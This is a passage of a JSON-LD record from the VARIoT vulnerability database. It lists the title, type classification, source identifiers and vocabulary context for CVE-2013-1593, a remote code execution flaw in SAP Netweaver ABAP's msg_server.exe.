{ "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "IVD", "id": "29348194-1f62-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2012-3434" } ], "data": "SAP Netweaver ABAP 'msg_server.exe' Parameter name remote code execution vulnerability", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201302-368" } ], "data": "input validation error", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2013-1593", "last_update_date": "2024-07-23T22:37:43.471000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-202001-0833", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ```